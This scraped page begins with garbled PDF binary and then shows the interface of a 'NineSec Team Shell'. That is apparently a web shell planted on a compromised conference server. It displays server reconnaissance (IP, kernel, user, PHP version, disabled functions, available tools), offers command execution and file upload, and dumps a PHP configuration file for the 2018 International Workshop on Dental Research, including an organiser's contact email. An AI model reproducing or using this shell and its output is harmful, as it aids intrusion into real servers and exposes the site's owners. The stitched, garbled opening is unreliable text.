%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 192.168.60.199  /  Your IP : 192.168.60.1
Web Server : Apache
System : Linux PROD-conference 6.8.12-17-pve #1 SMP PREEMPT_DYNAMIC PMX 6.8.12-17 (2025-11-21T11:16Z) x86_64
User : www-data ( 33)
PHP Version : 5.6.40-0+deb8u12
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /var/lib/../www/html/cache/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /var/lib/../www/html/cache/fc-schedConfSettings-89.php
<?php return array (
  'delayOpenAccess' => true,
  'postPapers' => false,
  'closeCommentsDate' => 1525539599,
  'delayOpenAccessDate' => 1577638800,
  'regReviewerOpenDate' => 1525453200,
  'reviewGuidelines' => 
  array (
    'en_US' => '<p><strong>Abstract Review Form (Original Articles)</strong></p> <p><strong> </strong></p> <table border="1" cellspacing="0" cellpadding="0" width="100%"><tbody><tr><td width="20%" valign="top"><p><em>Title of paper </em></p></td> <td width="79%" valign="top"><p><strong> </strong></p><br /></td></tr> <tr><td width="20%" valign="top"><p><em>Received (date)</em></p></td> <td width="79%" valign="top"><p> </p></td></tr></tbody></table> <p>Please  rate each aspect of the abstract in scale from 1 to 5 points where 1 is  very poor and 5 is the best. If in particular abstract some of the  aspects are not applicable, please mark as NA (not applicable). For each  evaluation aspect comments are welcome, especially if valuation is less  than 4. Your comments will help to improve quality of the conference  papers.</p> <table border="1" cellspacing="0" cellpadding="0"><tbody><tr><td width="26"><p> </p></td> <td width="549" valign="top"><p>Evaluation aspects</p></td> <td width="64"><p>Points</p></td></tr> <tr><td width="26"><p>1</p></td> <td width="549" valign="top"><p>The  topic of   this abstract is relevant for the conference and submitted  track. (1 –   completely irrelevant, 5 – very relevant)</p> <p>Comment:</p></td> <td width="64"><p> </p></td></tr> <tr><td width="26"><p>2</p></td> <td width="549" valign="top"><p>The extended   abstract contains well defined aim and tasks of the research. (1 –   unsatisfactory, 5- completely)</p> <p>Comment:</p></td> <td width="64"><p> </p></td></tr> <tr><td width="26"><p>3</p></td> <td width="549" valign="top"><p>The research   methodology for the study is appropriate. (1 – completely inappropriate, 5 –   very appropriate)</p> <p>Comment:</p></td> <td width="64"><p> </p></td></tr> <tr><td width="26"><p>4</p></td> <td width="549" valign="top"><p>The   supporting evidence in this study is strongly reliable (1 – completely   unreliable, 5- very reliable or NA)</p> <p>Comment:</p></td> <td width="64"><p> </p></td></tr> <tr><td width="26"><p>5</p></td> <td width="549" valign="top"><p>The results   of analysis are correctly interpreted. (1 – very poor, 5 – very well)</p> <p>Comment:</p></td> <td width="64"><p> </p></td></tr> <tr><td width="26"><p>6</p></td> <td width="549" valign="top"><p>The conclusions   are sound. (1 – very poor, 5 – very well)</p> <p>Comment:</p></td> <td width="64"><p> </p></td></tr> <tr><td width="26"><p>7</p></td> <td width="549" valign="top"><p>The   abstract is free from grammatical and spelling errors (1 – very   poor, 5 – very well)</p> <p>Comment:</p></td> <td width="64"><p> </p></td></tr> <tr><td width="26"><p>8</p></td> <td width="549" valign="top"><p>The   probability that research will stimulate debate at the conference is (1 –   very small, 5 – very high)</p> <p>Comment:</p></td> <td width="64"><p> </p></td></tr></tbody></table> <p><strong>FULLPAPER REVIEW FORM (RESEARCH/ORIGINAL ARTICLES)</strong></p> <table border="1" cellspacing="0" cellpadding="0"><tbody><tr><td width="108" valign="top"><h3><em>Area</em></h3></td> <td width="231" valign="top"><h3><em>Checklist items</em></h3></td> <td width="122" valign="top"><h3><em>Grading from 1 (unsatisfactory ) to 5 (completely   satisfactory) </em></h3></td> <td width="164" valign="top"><h3><em>Explanations </em><br /> <em>(Provide explanation to justify your   grading of each of the items)</em></h3></td></tr> <tr><td rowspan="6" width="108" valign="top"><p><strong>Overall assessment of the paper </strong></p></td> <td width="231" valign="top"><p>The    background introduces a specific question and spells out objectives  on the   basis of a description of general and specific issues.</p></td> <td width="122" valign="top"><p> </p></td> <td width="164" valign="top"><p> </p></td></tr> <tr><td width="231" valign="top"><p>The    methods section provides sufficient information on design, sampling,    definitions, data collection, laboratory methods and data analysis.</p></td> <td width="122" valign="top"><p> </p></td> <td width="164" valign="top"><p> </p></td></tr> <tr><td width="231" valign="top"><p>The    results section reports sound scientific data that meet the  objectives. There   are enough details and adequate statistical  information.</p></td> <td width="122" valign="top"><p> </p></td> <td width="164" valign="top"><p> </p></td></tr> <tr><td width="231" valign="top"><p>The   discussion section interprets the results to build a case on the basis of the   data presented and the literature.</p></td> <td width="122" valign="top"><p> </p></td> <td width="164" valign="top"><p> </p></td></tr> <tr><td width="231" valign="top"><p>The   limitations are described and analysed so that their impact on the capacity   to conclude are well understood.</p></td> <td width="122" valign="top"><p> </p></td> <td width="164" valign="top"><p> </p></td></tr> <tr><td width="231" valign="top"><p>The    paper suggests next steps in terms of intervention and gathering  additional   evidence on the basis of the evidence presented.</p></td> <td width="122" valign="top"><p> </p></td> <td width="164" valign="top"><p> </p></td></tr> <tr><td rowspan="12" width="108" valign="top"><p><strong>Methods </strong></p></td> <td width="231" valign="top"><p>The   design is adequate to meet the objectives.</p></td> <td width="122" valign="top"><p> </p></td> <td width="164" valign="top"><p> </p></td></tr> <tr><td width="231" valign="top"><p>The   population is well defined and relevant to the objectives.</p></td> <td width="122" valign="top"><p> </p></td> <td width="164" valign="top"><p> </p></td></tr> <tr><td width="231" valign="top"><p>Definitions   are specified, sound and based upon standardized criteria when available.</p></td> <td width="122" valign="top"><p> </p></td> <td width="164" valign="top"><p> </p></td></tr> <tr><td width="231" valign="top"><p>Sampling   methods are statistically sound and adapted.</p></td> <td width="122" valign="top"><p> </p></td> <td width="164" valign="top"><p> </p></td></tr> <tr><td width="231" valign="top"><p>The   sample size was estimated beforehand appropriately and is adequate.</p></td> <td width="122" valign="top"><p> </p></td> <td width="164" valign="top"><p> </p></td></tr> <tr><td width="231" valign="top"><p>The   design is exempt from bias.</p></td> <td width="122" valign="top"><p> </p></td> <td width="164" valign="top"><p> </p></td></tr> <tr><td width="231" valign="top"><p>The   data that were collected are well described and relevant.</p></td> <td width="122" valign="top"><p> </p></td> <td width="164" valign="top"><p> </p></td></tr> <tr><td width="231" valign="top"><p>The   data was collected with methods ensuring sufficient quality.</p></td> <td width="122" valign="top"><p> </p></td> <td width="164" valign="top"><p> </p></td></tr> <tr><td width="231" valign="top"><p>The   analysis is thought beforehand and appropriate.</p></td> <td width="122" valign="top"><p> </p></td> <td width="164" valign="top"><p> </p></td></tr> <tr><td width="231" valign="top"><p>The   indicators generated are appropriate and well calculated.</p></td> <td width="122" valign="top"><p> </p></td> <td width="164" valign="top"><p> </p></td></tr> <tr><td width="231" valign="top"><p>The   statistical tests are appropriate and well computed.</p></td> <td width="122" valign="top"><p> </p></td> <td width="164" valign="top"><p> </p></td></tr> <tr><td width="231" valign="top"><p>Appropriate   attention has been given to human subject protection.</p></td> <td width="122" valign="top"><p> </p></td> <td width="164" valign="top"><p> </p></td></tr> <tr><td rowspan="5" width="108" valign="top"><p><strong>Writing</strong></p></td> <td width="231" valign="top"><p>The   content is well distributed in the relevant chapters and sections.</p></td> <td width="122" valign="top"><p> </p></td> <td width="164" valign="top"><p> </p></td></tr> <tr><td width="231" valign="top"><p>The   language is simple and clear. The word count is &lt; 3000.</p></td> <td width="122" valign="top"><p> </p></td> <td width="164" valign="top"><p> </p></td></tr> <tr><td width="231" valign="top"><p>The   writing is sequential, going from one point to the next.</p></td> <td width="122" valign="top"><p> </p></td> <td width="164" valign="top"><p> </p></td></tr> <tr><td width="231" valign="top"><p>The   active voice is used throughout.</p></td> <td width="122" valign="top"><p> </p></td> <td width="164" valign="top"><p> </p></td></tr> <tr><td width="231" valign="top"><p>The   vocabulary is precise, consistent and standardized.</p></td> <td width="122" valign="top"><p> </p></td> <td width="164" valign="top"><p> </p></td></tr> <tr><td rowspan="4" width="108" valign="top"><p><strong>Tables and figures</strong></p></td> <td width="231" valign="top"><p>There   are no more than five relevant and useful tables and or figures.</p></td> <td width="122" valign="top"><p> </p></td> <td width="164" valign="top"><p> </p></td></tr> <tr><td width="231" valign="top"><p>The   choice of graph or table to display information is judicious.</p></td> <td width="122" valign="top"><p> </p></td> <td width="164" valign="top"><p> </p></td></tr> <tr><td width="231" valign="top"><p>The   tables are clear, exact and the totals add up.</p></td> <td width="122" valign="top"><p> </p></td> <td width="164" valign="top"><p> </p></td></tr> <tr><td width="231" valign="top"><p>The   graphs are effective, appropriate, understandable and they have a low   ink-to-data ratio.</p></td> <td width="122" valign="top"><p> </p></td> <td width="164" valign="top"><p> </p></td></tr> <tr><td width="108"><p><strong>Recommendation</strong></p></td> <td width="231" valign="top"><p>Reject/minor   revision/major revision/accept as submitted</p></td> <td width="122" valign="top"><p> </p></td> <td width="164" valign="top"><p> </p></td></tr> <tr><td width="108"><p><strong>Journal Recommendation</strong></p></td> <td width="231" valign="top"><ul><li>Journal of International Dental and Medical Research</li><li>Journal of Stomatology</li><li>International Journal of Applied Pharmaceutics</li></ul> <p> </p></td> <td width="122" valign="top"><p> </p></td> <td width="164" valign="top"><p> </p></td></tr></tbody></table> <p> </p> <strong><br /> </strong> <p><strong> </strong></p> <p><strong>Abstract Review Form (Case Report)</strong></p> <table border="1" cellspacing="0" cellpadding="0" width="100%"><tbody><tr><td width="20%" valign="top"><p><em>Title of paper </em></p></td> <td width="79%" valign="top"><p><strong> </strong></p><br /></td></tr> <tr><td width="20%" valign="top"><p><em>Received (date)</em></p></td> <td width="79%" valign="top"><p> </p></td></tr></tbody></table> <p> </p> <p>Please  rate each aspect of the abstract in scale from 1 to 10 points where 1  is very poor and 10 is the best. If in particular abstract some of the  aspects are not applicable, please mark as NA (not applicable). For each  evaluation aspect comments are welcome, especially if valuation is less  than 4. Your comments will help to improve quality of the conference  papers.</p> <p> </p> <table border="1" cellspacing="0" cellpadding="0"><tbody><tr><td width="26"><p><strong>No</strong></p></td> <td width="548" valign="top"><p><strong>Evaluation aspects</strong></p></td> <td width="64"><p><strong>Points</strong></p></td></tr> <tr><td width="26"><p>1</p></td> <td width="548" valign="top"><p>The  topic of   this abstract is relevant for the conference and submitted  track. (1 –   completely irrelevant, 5 – very relevant)</p> <p>Comment:</p></td> <td width="64"><p> </p></td></tr> <tr><td width="26"><p>2</p></td> <td width="548" valign="top"><p>The  abstract   contains well defined aim the case report that noteworthy  and adds to current   knowledge (1 – unsatisfactory, 5 – completely)</p> <p>Comment:</p></td> <td width="64"><p> </p></td></tr> <tr><td width="26"><p>3</p></td> <td width="548" valign="top"><p>The  relevant   information of the case (basic demographics, patients’s main  symptoms or   other reason for seeking care, clinical findings,  clinical assessment,   laboratory investigations, treatment plan, and  outcomes are correctly   presented. (1 – very poor, 5 – very well)</p> <p>Comment:</p></td> <td width="64"><p> </p></td></tr> <tr><td width="26"><p>4</p></td> <td width="548" valign="top"><p>The    conclusions are sound (the “take home” lesson from the case, strength  and   limitations of case, implication of the case for practice or  future research.   (1 – very poor, 5 – very well)</p> <p>Comment:</p></td> <td width="64"><p> </p></td></tr> <tr><td width="26"><p>5</p></td> <td width="548" valign="top"><p>The   abstract is free from grammatical and spelling errors (1 – very   poor, 10 – very well)</p> <p>Comment:</p></td> <td width="64"><p> </p></td></tr> <tr><td width="26"><p>6</p></td> <td width="548" valign="top"><p>The   probability that case report will stimulate debate at the conference is (1 –   very small, 5 – very high)</p> <p>Comment:</p></td> <td width="64"><p> </p></td></tr></tbody></table> <p> </p> <p><strong>FULLPAPER REVIEW FORM (CASE REPORTS)</strong></p> <p>Please  rate each aspect of the abstract in scale from 1 to 5 points where 1 is  very poor and 5 is the best. If in particular abstract some of the  aspects are not applicable, please mark as NA (not applicable). For each  evaluation aspect comments are welcome, especially if valuation is less  than 8. Your comments will help to improve quality of the conference  papers.</p> <p> </p> <table border="1" cellspacing="0" cellpadding="0"><tbody><tr><td width="32"><p><strong>No</strong></p></td> <td width="121" valign="top"><p><strong>Aspect</strong></p></td> <td width="430" valign="top"><p><strong>Evaluation aspects</strong></p></td> <td width="57"><p><strong>Points</strong></p></td></tr> <tr><td rowspan="3" width="32"><p>1</p></td> <td rowspan="3" width="121" valign="top"><p><strong>General </strong></p></td> <td width="430" valign="top"><p>Novelty (1 - unsatisfactory, 5 –   completely satisfactory)</p> <p>Comment:</p></td> <td width="57"><p> </p></td></tr> <tr><td width="430" valign="top"><p>Patient consent (1 -   unsatisfactory, 5 - completely)</p> <p>Comment:</p></td> <td width="57"><p> </p></td></tr> <tr><td width="430" valign="top"><p>Ethical practice as per standard of (1 -   unsatisfactory, 5 – completely satisfactory)</p> <p>Comment:</p></td> <td width="57"><p> </p></td></tr> <tr><td width="32"><p>2</p></td> <td width="121" valign="top"><p><strong>Title</strong></p></td> <td width="430" valign="top"><p>Truly describes the core message of   the case.<br /> Includes the phrase “a case report.” (1 - unsatisfactory, 5 –   completely satisfactory)</p> <p>Comment:</p></td> <td width="57"><p> </p></td></tr> <tr><td width="32"><p>3</p></td> <td width="121" valign="top"><p><strong>Abstract</strong></p> <p><strong> </strong></p></td> <td width="430" valign="top"><p>Incorporates  the core key message   with necessary detail in a concise manner.(1 -  unsatisfactory, 5 –   completely satisfactory)</p> <p> </p> <p>Comment:</p></td> <td width="57"><p> </p></td></tr> <tr><td width="32"><p>4</p></td> <td width="121" valign="top"><p><strong>Keywords</strong></p> <p><strong> </strong></p></td> <td width="430"><p>Medical Subject Headings (MeSH)   keywords, core message included. (1 - unsatisfactory, 5 – completely satisfactory)</p> <p>Comment:</p></td> <td width="57"><p> </p></td></tr> <tr><td width="32"><p>5</p></td> <td width="121" valign="top"><p><strong>Introduction</strong></p> <p><strong> </strong></p></td> <td width="430"><p>Emphasizes  need of publication by   novelty of the case or the specific adverse  event.(1 - unsatisfactory, 5 –   completely satisfactory)</p> <p>Comment:</p></td> <td width="57"><p> </p></td></tr> <tr><td width="32"><p>6</p></td> <td width="121" valign="top"><p><strong>Case Report</strong></p> <p><strong> </strong></p></td> <td width="430"><p>Appropriate details of the case,   including demography, assessment, findings, investigations and so on.<br /> Mentions intervention in detail or describes the dose, timing, and route of   drugs.</p> <p>(1 -   unsatisfactory, 5 – completely satisfactory)</p> <p>Comment:</p></td> <td width="57"><p> </p></td></tr> <tr><td width="32"><p>7</p></td> <td width="121" valign="top"><p><strong>Discussion</strong></p> <p><strong> </strong></p></td> <td width="430"><p>Emphasizes why the case is important   to medicine.<br /> Adequate literature review pertinent to the case.<br /> Mentions the limitations related to the case</p> <p>(1 -   unsatisfactory, 5 – completely satisfactory)</p> <p>Comment:</p></td> <td width="57"><p> </p></td></tr> <tr><td width="32"><p>8</p></td> <td width="121" valign="top"><p><strong>Conclusion</strong></p> <p><strong> </strong></p></td> <td width="430"><p>Implication of case with a core key   message.</p> <p>(1 -   unsatisfactory, 5 – completely satisfactory)</p> <p>Comment:</p></td> <td width="57"><p> </p></td></tr> <tr><td width="32"><p>9</p></td> <td width="121" valign="top"><p><strong>Recommendation</strong></p></td> <td width="430"><p>Reject/minor revision/major   revision/accept as submitted</p></td> <td width="57"><p> </p></td></tr> <tr><td width="32"><p>10</p></td> <td width="121"><p><strong>Journal Recommendation</strong></p></td> <td width="430" valign="top"><ul><li>Journal of International Dental and Medical Research</li><li>Journal of Stomatology</li><li>International Journal of Applied Pharmaceutics</li></ul> <p> </p></td> <td width="57"><p> </p></td></tr></tbody></table> <p><strong> </strong></p> <p> </p>',
  ),
  'reviewPolicy' => 
  array (
    'en_US' => '<p>The Scientific Committee of IWDR 2018 is responsible for the decision  of the articles submitted to the Conference. All article submissions  will be initially screened whether the manuscript has follow scope and  author guidelines. All submitted manuscript will be screened  using Turnitin or iThenticate for plagiarism checking before being sent  to reviewers. The manuscript will be sent to section editor and will be  reviewed by at least two anonymous reviewers.</p> <p> </p> <p>Every  article submitted will go through an Editorial Review and Double Blind  Peer Reviews. The manuscripts that do not sufficient for publication,  not meet the general interest or inappropriate to the focus and scope  and/or have many errors in many aspects would be directly rejected  without peer review. The manuscripts that meet the editorial requirement  would be processed for peer review by at least two reviewers. In a  condition when particular advice is required the editor has the right to  appoint additional reviewer. The decision on one manuscript is made by  the Editorial Board meeting. The decision would be based on the advice  from the reviewers and could categorized into: 1) Accepted, with minor  editorial correction; 2) Minor revision, when author is invited to  revise and no further review is needed; 3) Major revision, when author  is invited to revise and need to resubmit for review; 4) Rejected, when  there is major conceptual/technical/interpretational problems.</p> <p> </p> <p>The  reviewers of the JDI have the responsibility to do a useful reports  that help the editors in making final decision on a manuscript.  The  author has the responsibility to clearly stated the changes that are  made in the revised manuscript. A careful examination on the sentence  structure, text accuracy and completeness, self-explanatory tables and  figures should be done by the author. The editors have the right to make  editing to the manuscript in terms of style, format and clarity.  Acceptance of a manuscript is decided in the Editorial Board meeting.  The final decision on a manuscript would be given by the Editor in  Chief.</p> <p> </p>',
  ),
  'submissionChecklist' => 
  array (
    'en_US' => 
    array (
      0 => 
      array (
        'order' => '1',
        'content' => 'The submission has not been previously published, nor is it before another conference for consideration (or an explanation has been provided in Comments to the Director).',
      ),
      1 => 
      array (
        'order' => '2',
        'content' => 'The submission file is in OpenOffice, Microsoft Word, RTF, or WordPerfect document file format.',
      ),
      2 => 
      array (
        'order' => '3',
        'content' => 'All URL addresses in the text (e.g., <a href="http://pkp.sfu.ca">http://pkp.sfu.ca</a>) are activated and ready to click.',
      ),
      3 => 
      array (
        'order' => '4',
        'content' => 'The text is single-spaced; uses a 12-point font; employs italics, rather than underlining (except with URL addresses); and all illustrations, figures, and tables are placed within the text at the appropriate points, rather than at the end.',
      ),
      4 => 
      array (
        'order' => '5',
        'content' => 'The text adheres to the stylistic and bibliographic requirements outlined in the <a href="/iwdr/iwdr2018/about/submissions#authorGuidelines">Author Guidelines</a>, which is found in About the Conference.',
      ),
      5 => 
      array (
        'order' => '6',
        'content' => 'If submitting to a peer-reviewed track of the conference, authors\' names are removed from submission, with "Author" and year used in the bibliography and footnotes, instead of authors\' name, paper title, etc.',
      ),
      6 => 
      array (
        'order' => '7',
        'content' => 'If submitting to peer review, all Microsoft Office documents (including Supplementary Files) have been saved by going to File and selecting Save As; clicking Tools (or Options in a Mac); clicking Security; selecting "Remove personal information from file properties on save"; clicking Save.',
      ),
    ),
  ),
  'cfpMessage' => 
  array (
    'en_US' => 'The IWDR 2018  aims to invite many scholars, researchers and practitioners and other people interested in global health issues worldwide to disseminate their ORIGINAL ARTICLES and CASE REPORTS in the event.   Selected articles would be published in Scopus-Indexed Publishers. <br />',
  ),
  'statRegistrations' => false,
  'statRegisteredReaders' => false,
  'statRegisteredUsers' => true,
  'statDaysPerReview' => false,
  'statCountRevise' => false,
  'statCountDecline' => false,
  'statCountAccept' => false,
  'statPeerReviewed' => false,
  'statNumSubmissions' => false,
  'statItemsPublished' => false,
  'accommodationDescription' => 
  array (
    'en_US' => 'IWDR 2018 has negotiated special rates with the selected Congress Hotels for a limited room block.',
  ),
  'emailSignature' => 
  array (
    'en_US' => '________________________________________________________________________
International Workshop on Dental Research (IWDR) THE 3rd INTERNATIONAL WORKSHOP ON DENTAL RESEARCH
http://conference.ui.ac.id/iwdr/iwdr2018/index',
  ),
  'overview' => 
  array (
    'en_US' => 'Topics<br />The theme of IWDR 2018 is “Bringing Research and Innovations for Modern Dental Practices ”. <br />The following key thematic areas are:<br />•    Cariology<br />•    Community Dentistry and Oral Epidemiology <br />•    Conservative Dentistry <br />•    Dental Biomaterial <br />•    Dental Education<br />•    Dental Traumatology<br />•    Endodontics<br />•    Esthetic Dentistry<br />•    Healthcare Economics<br />•    Implant Dentistry <br />•    Oral Biosciences <br />•    Oral and Maxillofacial Surgery <br />•    Oral Medicine <br />•    Oral Microbiology <br />•    Oral Pathology<br />•    Oral Radiology <br />•    Oral Rehabilitation<br />•    Orthodontics<br />•    Pediatric Dentistry<br />•    Periodontology and Periodontal Medicine<br /><br />',
  ),
  'introduction' => 
  array (
    'en_US' => 'I am proud that the International Workshop on Dental Research (IWDR) 2018 continues the success of IWDR 2016 and 2017 held before the Health Sciences and IMERI and the University of Indonesia. This year IWDR was held again with two other scientific events, which are the 3rd ICGH and the First International Seminar on Clinical and Dental Research (ISCaRD). The event will be held at Sakala Resort Hotel, Tanjung Benoa, Nusa Dua Penninsula, Bali, Indonesia on 15-16 September 2018.<br /><br /><br />Articles selected from those presented at the conference will be published in some Scopus Journals-indexes that have collaborated with the Scientific Committee.',
  ),
  'submissionsOpenDate' => 1525453200,
  'showCFPDate' => 1525453200,
  'regAuthorOpenDate' => 1525453200,
  'postPayment' => false,
  'postAccommodation' => false,
  'postPresentations' => false,
  'statisticsTrackIds' => 
  array (
  ),
  'programFileTitle' => 
  array (
    'en_US' => 'TO BE CONFIRMED',
  ),
  'boardEnabled' => true,
  'postPapersDate' => 1535734800,
  'postSchedule' => false,
  'postScheduleDate' => 1525453200,
  'postAbstractsDate' => 1525453200,
  'regReviewerCloseDate' => 1537117199,
  'submissionsCloseDate' => 1535216399,
  'regAuthorCloseDate' => 1535821199,
  'endDate' => 1537030800,
  'startDate' => 1536944400,
  'postSupporters' => false,
  'postProgram' => false,
  'postTrackPolicies' => false,
  'postProposalSubmission' => false,
  'postCFP' => false,
  'postOverview' => false,
  'postTimeline' => false,
  'notifyAllAuthorsOnDecision' => true,
  'numWeeksPerReviewAbsolute' => 1533661200,
  'numWeeksPerReviewRelative' => 2,
  'numDaysBeforeSubmitReminder' => 0,
  'numDaysBeforeInviteReminder' => 0,
  'reviewerAccessKeysEnabled' => 0,
  'restrictReviewerFileAccess' => 1,
  'rateReviewerOnQuality' => 1,
  'remindForSubmit' => 0,
  'remindForInvite' => 0,
  'enablePublicSuppFileId' => false,
  'enablePublicPaperId' => false,
  'metaCitations' => false,
  'metaType' => false,
  'metaCoverage' => false,
  'metaSubject' => false,
  'metaSubjectClassUrl' => 'http://',
  'metaSubjectClass' => false,
  'metaDiscipline' => false,
  'copySubmissionAckAddress' => 'brammakiswanjaya@gmail.com',
  'copySubmissionAckSpecified' => true,
  'copySubmissionAckPrimaryContact' => true,
  'acceptSupplementaryReviewMaterials' => false,
  'previewAbstracts' => false,
  'reviewMode' => 1,
  'contributors' => 
  array (
  ),
  'sponsors' => 
  array (
  ),
  'envelopeSender' => '',
  'supportPhone' => '',
  'supportEmail' => 'brammakiswanjaya@gmail.com',
  'supportName' => 'drg. Bramma Kiswanjaya, PhD',
  'contactMailingAddress' => '',
  'contactFax' => '',
  'contactPhone' => '',
  'contactEmail' => 'brammakiswanjaya@gmail.com',
  'contactTitle' => '',
  'contactName' => 'Bramma Kiswanjaya',
  'locationCountry' => 'ID',
  'locationCity' => 'Jalan Pratama 95, Tanjung Benoa, Nusa Dua Peninsula',
  'locationAddress' => '',
  'locationName' => 'The Sakala Resort Hotel, Bali',
  'acronym' => 
  array (
    'en_US' => 'iwdr2018',
  ),
  'title' => 
  array (
    'en_US' => 'THE 3rd INTERNATIONAL WORKSHOP ON DENTAL RESEARCH',
  ),
  'paymentMethodPluginName' => 'ManualPayment',
  'reviewDeadlineType' => 1,
  'numWeeksPerReview' => 4,
); ?>

NineSec Team - 2022